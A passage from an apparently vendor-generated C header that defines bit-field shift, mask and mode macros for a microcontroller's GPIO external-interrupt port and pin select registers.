(_GPIO_EXTIPSELH_EXTIPSEL8_PORTA << 0) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTB (_GPIO_EXTIPSELH_EXTIPSEL8_PORTB << 0) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTC (_GPIO_EXTIPSELH_EXTIPSEL8_PORTC << 0) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTD (_GPIO_EXTIPSELH_EXTIPSEL8_PORTD << 0) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTF (_GPIO_EXTIPSELH_EXTIPSEL8_PORTF << 0) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTI (_GPIO_EXTIPSELH_EXTIPSEL8_PORTI << 0) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL8_PORTJ << 0) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTK (_GPIO_EXTIPSELH_EXTIPSEL8_PORTK << 0) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_SHIFT 4 /**< Shift value for GPIO_EXTIPSEL9 */ #define _GPIO_EXTIPSELH_EXTIPSEL9_MASK 0xF0UL /**< Bit mask for GPIO_EXTIPSEL9 */ #define _GPIO_EXTIPSELH_EXTIPSEL9_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL9_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL9_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTA (_GPIO_EXTIPSELH_EXTIPSEL9_PORTA << 4) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTB (_GPIO_EXTIPSELH_EXTIPSEL9_PORTB << 4) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTC (_GPIO_EXTIPSELH_EXTIPSEL9_PORTC << 4) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTD (_GPIO_EXTIPSELH_EXTIPSEL9_PORTD << 4) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTF (_GPIO_EXTIPSELH_EXTIPSEL9_PORTF << 4) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTI (_GPIO_EXTIPSELH_EXTIPSEL9_PORTI << 4) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL9_PORTJ << 4) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL9_PORTK (_GPIO_EXTIPSELH_EXTIPSEL9_PORTK << 4) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_SHIFT 8 /**< Shift value for GPIO_EXTIPSEL10 */ #define _GPIO_EXTIPSELH_EXTIPSEL10_MASK 0xF00UL /**< Bit mask for GPIO_EXTIPSEL10 */ #define _GPIO_EXTIPSELH_EXTIPSEL10_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL10_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL10_DEFAULT << 8) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTA (_GPIO_EXTIPSELH_EXTIPSEL10_PORTA << 8) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTB (_GPIO_EXTIPSELH_EXTIPSEL10_PORTB << 8) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTC (_GPIO_EXTIPSELH_EXTIPSEL10_PORTC << 8) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTD (_GPIO_EXTIPSELH_EXTIPSEL10_PORTD << 8) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTF (_GPIO_EXTIPSELH_EXTIPSEL10_PORTF << 8) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTI (_GPIO_EXTIPSELH_EXTIPSEL10_PORTI << 8) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL10_PORTJ << 8) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL10_PORTK (_GPIO_EXTIPSELH_EXTIPSEL10_PORTK << 8) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_SHIFT 12 /**< Shift value for GPIO_EXTIPSEL11 */ #define _GPIO_EXTIPSELH_EXTIPSEL11_MASK 0xF000UL /**< Bit mask for GPIO_EXTIPSEL11 */ #define _GPIO_EXTIPSELH_EXTIPSEL11_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL11_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL11_DEFAULT << 12) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTA (_GPIO_EXTIPSELH_EXTIPSEL11_PORTA << 12) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTB (_GPIO_EXTIPSELH_EXTIPSEL11_PORTB << 12) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTC (_GPIO_EXTIPSELH_EXTIPSEL11_PORTC << 12) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTD (_GPIO_EXTIPSELH_EXTIPSEL11_PORTD << 12) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTF (_GPIO_EXTIPSELH_EXTIPSEL11_PORTF << 12) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTI (_GPIO_EXTIPSELH_EXTIPSEL11_PORTI << 12) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL11_PORTJ << 12) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL11_PORTK (_GPIO_EXTIPSELH_EXTIPSEL11_PORTK << 12) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_SHIFT 16 /**< Shift value for GPIO_EXTIPSEL12 */ #define _GPIO_EXTIPSELH_EXTIPSEL12_MASK 0xF0000UL /**< Bit mask for GPIO_EXTIPSEL12 */ #define _GPIO_EXTIPSELH_EXTIPSEL12_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL12_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL12_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTA (_GPIO_EXTIPSELH_EXTIPSEL12_PORTA << 16) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTB (_GPIO_EXTIPSELH_EXTIPSEL12_PORTB << 16) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTC (_GPIO_EXTIPSELH_EXTIPSEL12_PORTC << 16) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTD (_GPIO_EXTIPSELH_EXTIPSEL12_PORTD << 16) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTF (_GPIO_EXTIPSELH_EXTIPSEL12_PORTF << 16) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTI (_GPIO_EXTIPSELH_EXTIPSEL12_PORTI << 16) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL12_PORTJ << 16) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL12_PORTK (_GPIO_EXTIPSELH_EXTIPSEL12_PORTK << 16) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_SHIFT 20 /**< Shift value for GPIO_EXTIPSEL13 */ #define _GPIO_EXTIPSELH_EXTIPSEL13_MASK 0xF00000UL /**< Bit mask for GPIO_EXTIPSEL13 */ #define _GPIO_EXTIPSELH_EXTIPSEL13_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL13_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL13_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTA (_GPIO_EXTIPSELH_EXTIPSEL13_PORTA << 20) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTB (_GPIO_EXTIPSELH_EXTIPSEL13_PORTB << 20) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTC (_GPIO_EXTIPSELH_EXTIPSEL13_PORTC << 20) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTD (_GPIO_EXTIPSELH_EXTIPSEL13_PORTD << 20) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTF (_GPIO_EXTIPSELH_EXTIPSEL13_PORTF << 20) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTI (_GPIO_EXTIPSELH_EXTIPSEL13_PORTI << 20) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL13_PORTJ << 20) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL13_PORTK (_GPIO_EXTIPSELH_EXTIPSEL13_PORTK << 20) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_SHIFT 24 /**< Shift value for GPIO_EXTIPSEL14 */ #define _GPIO_EXTIPSELH_EXTIPSEL14_MASK 0xF000000UL /**< Bit mask for GPIO_EXTIPSEL14 */ #define _GPIO_EXTIPSELH_EXTIPSEL14_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL14_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL14_DEFAULT << 24) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTA (_GPIO_EXTIPSELH_EXTIPSEL14_PORTA << 24) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTB (_GPIO_EXTIPSELH_EXTIPSEL14_PORTB << 24) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTC (_GPIO_EXTIPSELH_EXTIPSEL14_PORTC << 24) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTD (_GPIO_EXTIPSELH_EXTIPSEL14_PORTD << 24) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTF (_GPIO_EXTIPSELH_EXTIPSEL14_PORTF << 24) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTI (_GPIO_EXTIPSELH_EXTIPSEL14_PORTI << 24) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL14_PORTJ << 24) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL14_PORTK (_GPIO_EXTIPSELH_EXTIPSEL14_PORTK << 24) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_SHIFT 28 /**< Shift value for GPIO_EXTIPSEL15 */ #define _GPIO_EXTIPSELH_EXTIPSEL15_MASK 0xF0000000UL /**< Bit mask for GPIO_EXTIPSEL15 */ #define _GPIO_EXTIPSELH_EXTIPSEL15_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL15_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL15_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTA (_GPIO_EXTIPSELH_EXTIPSEL15_PORTA << 28) /**< Shifted mode PORTA for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTB (_GPIO_EXTIPSELH_EXTIPSEL15_PORTB << 28) /**< Shifted mode PORTB for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTC (_GPIO_EXTIPSELH_EXTIPSEL15_PORTC << 28) /**< Shifted mode PORTC for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTD (_GPIO_EXTIPSELH_EXTIPSEL15_PORTD << 28) /**< Shifted mode PORTD for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTF (_GPIO_EXTIPSELH_EXTIPSEL15_PORTF << 28) /**< Shifted mode PORTF for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTI (_GPIO_EXTIPSELH_EXTIPSEL15_PORTI << 28) /**< Shifted mode PORTI for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTJ (_GPIO_EXTIPSELH_EXTIPSEL15_PORTJ << 28) /**< Shifted mode PORTJ for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL15_PORTK (_GPIO_EXTIPSELH_EXTIPSEL15_PORTK << 28) /**< Shifted mode PORTK for GPIO_EXTIPSELH */ /* Bit fields for GPIO EXTIPINSELL */ #define _GPIO_EXTIPINSELL_RESETVALUE 0x32103210UL /**< Default value for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_MASK 0x33333333UL /**< Mask for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL0_SHIFT 0 /**< Shift value for GPIO_EXTIPINSEL0 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL0_MASK 0x3UL /**< Bit mask for GPIO_EXTIPINSEL0 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL0_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL0_PIN0 0x00000000UL /**< Mode PIN0 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL0_PIN1 0x00000001UL /**< Mode PIN1 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL0_PIN2 0x00000002UL /**< Mode PIN2 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL0_PIN3 0x00000003UL /**< Mode PIN3 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL0_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL0_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL0_PIN0 (_GPIO_EXTIPINSELL_EXTIPINSEL0_PIN0 << 0) /**< Shifted mode PIN0 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL0_PIN1 (_GPIO_EXTIPINSELL_EXTIPINSEL0_PIN1 << 0) /**< Shifted mode PIN1 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL0_PIN2 (_GPIO_EXTIPINSELL_EXTIPINSEL0_PIN2 << 0) /**< Shifted mode PIN2 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL0_PIN3 (_GPIO_EXTIPINSELL_EXTIPINSEL0_PIN3 << 0) /**< Shifted mode PIN3 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL1_SHIFT 4 /**< Shift value for GPIO_EXTIPINSEL1 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL1_MASK 0x30UL /**< Bit mask for GPIO_EXTIPINSEL1 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL1_PIN0 0x00000000UL /**< Mode PIN0 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL1_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL1_PIN1 0x00000001UL /**< Mode PIN1 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL1_PIN2 0x00000002UL /**< Mode PIN2 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL1_PIN3 0x00000003UL /**< Mode PIN3 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL1_PIN0 (_GPIO_EXTIPINSELL_EXTIPINSEL1_PIN0 << 4) /**< Shifted mode PIN0 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL1_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL1_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL1_PIN1 (_GPIO_EXTIPINSELL_EXTIPINSEL1_PIN1 << 4) /**< Shifted mode PIN1 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL1_PIN2 (_GPIO_EXTIPINSELL_EXTIPINSEL1_PIN2 << 4) /**< Shifted mode PIN2 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL1_PIN3 (_GPIO_EXTIPINSELL_EXTIPINSEL1_PIN3 << 4) /**< Shifted mode PIN3 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL2_SHIFT 8 /**< Shift value for GPIO_EXTIPINSEL2 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL2_MASK 0x300UL /**< Bit mask for GPIO_EXTIPINSEL2 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL2_PIN0 0x00000000UL /**< Mode PIN0 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL2_PIN1 0x00000001UL /**< Mode PIN1 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL2_DEFAULT 0x00000002UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL2_PIN2 0x00000002UL /**< Mode PIN2 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL2_PIN3 0x00000003UL /**< Mode PIN3 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL2_PIN0 (_GPIO_EXTIPINSELL_EXTIPINSEL2_PIN0 << 8) /**< Shifted mode PIN0 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL2_PIN1 (_GPIO_EXTIPINSELL_EXTIPINSEL2_PIN1 << 8) /**< Shifted mode PIN1 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL2_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL2_DEFAULT << 8) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL2_PIN2 (_GPIO_EXTIPINSELL_EXTIPINSEL2_PIN2 << 8) /**< Shifted mode PIN2 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL2_PIN3 (_GPIO_EXTIPINSELL_EXTIPINSEL2_PIN3 << 8) /**< Shifted mode PIN3 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL3_SHIFT 12 /**< Shift value for GPIO_EXTIPINSEL3 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL3_MASK 0x3000UL /**< Bit mask for GPIO_EXTIPINSEL3 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL3_PIN0 0x00000000UL /**< Mode PIN0 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL3_PIN1 0x00000001UL /**< Mode PIN1 for GPIO_EXTIPINSELL */ 